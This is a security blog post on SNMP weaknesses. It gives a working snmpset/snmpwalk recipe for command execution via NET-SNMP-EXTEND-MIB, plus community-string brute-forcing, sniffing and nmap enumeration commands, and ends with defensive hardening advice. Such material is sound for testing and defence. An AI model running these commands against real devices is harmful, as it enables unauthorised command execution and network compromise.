SNMP Arbitrary Command Execution


SNMP, the Simple Network Management Protocol, which in certain communities is better known as Security Not My Problem, is a protocol to monitor and manage networked devices.

Many devices like modems, routers, servers, printers, IP cameras, UPS devices and even power strips may have SNMP installed by default. Searching Shodan.io for port 161, the port most commonly used by SNMP, returns more than 2 million results.

While some of these hosts are honeypots, keep in mind that the amount of misconfigured SNMP servers in various internal networks might exceed the number reported by Shodan by an order of magnitude.

The quick and dirty

You can get remote code execution on snmpd if you have access to a read-write community string and if NET-SNMP-EXTEND-MIB is loaded.

Setting up:

apt-get install snmp-mibs-downloader download-mibs
# Change SNMP output to be human readable
echo "" > /etc/snmp/snmp.conf

Add a command to the nsExtendObjects table:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c <read-write-community-string> \
    host-with-snmpd.lan \
    'nsExtendStatus."command"'  = createAndGo \
    'nsExtendCommand."command"' = /bin/echo \
    'nsExtendArgs."command"'    = 'hello world'

After that, trigger the command with snmpwalk:

snmpwalk -v 2c -c <community-string> host-with-snmpd.lan nsExtendObjects

That’s it. Want to know more?

Access controls

There are two configuration directives, usually in /etc/snmp/snmpd.conf, called rocommunity and rwcommunity.

  • rocommunity - specifies the read-only community string
  • rwcommunity - specifies the read-write community string

The SNMP community string is essentially a plaintext password that allows access to a device’s statistics and configuration. That’s why you really should consider them as passwords - make them long, unpredictable and be aware of what service or whom you give them to.

If the community string in an SNMP request is correct, the device responds with the needed information - otherwise, the device simply discards the request and does not answer.

As demonstrated in the RCE example above, You do not want to enable read-write access to your SNMP enabled servers. To be fair, you also don’t want to enable read-only access to unintended recipients, because exposed networking and system information can very often be the leverage needed to compromise your systems.

SNMP read-write access to a Cisco device can:

  • shutdown network interfaces
  • change DHCP config
  • reboot device
  • change, remove and add IP routes
  • upload device configuration to a TFTP server for further analysis
  • reset device passwords

By convention, most SNMPv1-v2c devices ship from the factory with a read-only community string set to public and read-write community string set to private. We will look into other common default SNMP community strings in the Gaining Access section.

When configuring SNMP read-only mode close attention should be paid to the configuration of the access control and from which IP addresses SNMP messages are accepted.

UDP IP spoofing is a real threat and can be used to bypass access controls based on whitelisting IP addresses and ranges.

Note: SNMP Community strings are used by devices which support SNMPv1 and SNMPv2c protocol, which is a vast majority of SNMP-enabled devices. SNMPv3 uses username/password authentication, along with an encryption key.

VACM

SNMPv3 addresses the problems of using a single community string with the View-based Access Control Model.

With a single community string, it is difficult to identify the requesting party, origin of the request, what subtrees can be accessed and modified etc. While providing a flexible way to configure access controls, the concepts introduced by VACM can be complex and confusing.

A good explanation and some examples can be found on the net-snmp wiki on sourceforge. The following is a snmpd.conf excerpt just to demonstrate how quickly things can get complicated:

####
# First, map the community name (COMMUNITY) into a security name
# (local and mynetwork, depending on where the request is coming
# from):

#       sec.name  source          community
com2sec local     localhost       secret42
com2sec custom_sec 192.168.1.0/24  public

####
# Second, map the security names into group names:

#               sec.model  sec.name

group custom_grp v1         custom_sec
group custom_grp v2c        custom_sec

group incremental usm       myuser      # SNMPv3 username == sec.name

####
# Third, create a view for us to let the groups have rights to:

#           incl/excl subtree                              mask
view all    included  .1

view custom_v excluded  .1
view custom_v included  sysUpTime.0
view custom_v included  interfaces.ifTable

view mini_view excluded .1 80
view mini_view included  sysUpTime.0

view if_view excluded .1 80
view if_view included  sysUpTime.0
view if_view included  ifTable


####
# Finally, grant the groups access to their views:

#                context sec.model sec.level match  read     write  notif
access MyRWGroup ""      any       noauth    exact  all      all    none
access custom_grp ""     any       noauth    exact  cust1_v  none   none

access incremental ""    usm       noauth    exact  mini_view none  none
access incremental ""    usm       auth      exact  if_view   none  none
access incremental ""    usm       priv      exact  all_view  none  none

What could possibly go wrong?

Simple SNMP

Gaining access

From a penetration tester’s point of view, SNMP is a gold mine. There are a couple of reasons for this.

  1. Security was not a focus at the time SNMP was being developed in the 1980s. The first real effort to make SNMP more secure came with SNMPv3, which was recognised by the IETF in 2004.

SNMPv1 is still the defacto standard in most SNMP implementations.

  1. Most community strings are either set to default by the manufacturer or are never changed. Common examples include public, private, secret, adm and so on. Oftentimes you can easily guess one based on the other, eg. snmp_ro and snmp_rw or ROadmin and RWadmin. Fuzzdb and metasploit maintain a wordlist for that specific use case.

  2. The SNMP protocol does not have an account lockout facility so a malicious actor can typically employ password-guessing attacks indefinitely without fear of locking out the community string.

  3. SNMP versions before 3 send their information over the network in plaintext. This means that if you get a man-in-the-middle position with arpsoof or similar, you can just sniff sniff the community string. Ettercap has never been more helpful.

Ettercap Ettercap showing sniffed SNMPv1 community string “public”

  1. Even if the SNMP server is configured to only accept connections from a specific IP address or range, you can spoof the IP address of the SNMP request.

  2. A lot of information about a specific SNMP implementation can be read from publicly available MIB files. A management information base file is a database used for managing some entities in an hierarchical way - entries are addressed through a numeric object identifier (OID). There are multiple online sources where you can browse different MIBs, such as:
  3. Without write access, an SNMP server can still expose a lot of information about the host, which can be used to further exploit other services. What information SNMP allows access to can vary from device to device, but can include:

    • running processes and services
    • network interfaces
    • routing information
    • bandwidth usage
    • disk usage
    • CPU and memory usage
    • device failures
    • various device or vendor specific configurations

Tools

Nmap to discover snmp servers:

nmap -Pn -sU -sV -p161 <host-or-range>

Nmap NSE scripts:

# ls /usr/share/nmap/scripts/snmp-*
snmp-brute.nse
snmp-hh3c-logins.nse
snmp-info.nse
snmp-interfaces.nse
snmp-ios-config.nse
snmp-netstat.nse
snmp-processes.nse
snmp-sysdescr.nse
snmp-win32-services.nse
snmp-win32-shares.nse
snmp-win32-software.nse
snmp-win32-users.nse

#usage: nmap -Pn -sU -p161 --script=snmp-info <host-or-range>

SNMP enumeration:

snmpcheck <host> -c public

snmp-check -t <host> -c public

Onesixtyone, used to bruteforce community strings:

 onesixtyone -c /tmp/wordlist.txt <host>

SNMP bruteforcing with nmap:

nmap -Pn -sU -p161 --script=snmp-brute --script-args snmp-brute.communitiesdb=/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <host>

Snmpwalk:

 snmpwalk -v 2c -c <community-string> host-with-snmpd.lan 

Set SNMP tools to show OID human readable names instead of numbers:

apt-get install snmp-mibs-downloader download-mibs
echo "" > /etc/snmp/snmp.conf

Defence

  • Continuously scan your systems for the UDP port 161. This will make you aware about which of your devices have SNMP enabled.

  • Disable SNMP if it is not needed. For information on how to do this, refer to the manual of the device.

  • Use SNMPv3 instead of older versions where possible and confirm that you are using login-based authentication instead of plaintext community strings.

  • Configure SNMPv3 to use the highest level of security available on the device; this would be authPriv on most devices.

  • Treat community strings as passwords.
    • Community strings should be at least 20 characters or greater in length.
    • Community strings should not be based upon or contain a dictionary word.
    • Community strings should be difficult to bruteforce - include numbers, different casing and symbols.
    • Public and private community strings should not match, nor should any discernible similarities exist between the two community strings.
  • Critical devices such as routers, switches and firewalls should not share the same community strings as components of lesser importance such as printers or IP cameras.

  • Limit access to only the required subtrees.

  • Limit access to specific IP addresses.

  • Segregate SNMP traffic onto a separate management network.

  • Consider IP spoofing attacks - check if your SNMP server allows to be configured to use TCP.

  • Disable SNMP write access if it is not needed. I can not stress this enough.

Conclusion

Fact is, SNMP is not going anywhere. It might be difficult to secure your monitoring systems relying on SNMP, but it is something you have to do, unless you want unnecessary risks.


  1. “The Hidden Threat of SNMP”
    https://www.itprotoday.com/security/hidden-threat-snmp
  2. “SNMP Config File Injection to Shell”
    https://digi.ninja/blog/snmp_to_shell.php
  3. “SNMP Pentesting”
    https://resources.infosecinstitute.com/snmp-pentesting/
  4. “SNMP Pwn3ge”
    https://isc.sans.edu/forums/diary/SNMP+Pwn3ge/21533/
  5. “NET-SNMP-EXTEND-MIB”
    http://www.oidview.com/mibs/8072/NET-SNMP-EXTEND-MIB.html
  6. “Recipes for extending Net-SNMP”
    https://vincent.bernat.ch/en/blog/2012-extending-netsnmp#with-arbitrary-commands
  7. “Alert (TA17-156A) - Reducing the Risk of SNMP Abuse”
    https://www.us-cert.gov/ncas/alerts/TA17-156A
  8. “SNMP Best Practices”
    https://blog.rapid7.com/2016/01/27/simple-network-management-protocol-snmp-best-practices/
  9. “Manpage of SNMPD.CONF - ACCESS CONTROL”
    http://www.net-snmp.org/docs/man/snmpd.conf.html#lbAJ
  10. “View-Based Access Control Model (VACM) - Net-SNMP Wiki”
    http://net-snmp.sourceforge.net/wiki/index.php/Vacm
  11. “SNMP Research - SNMP RFCs”
    http://www.snmp.com/protocol/snmp_rfcs.shtml
Kert Ojasoo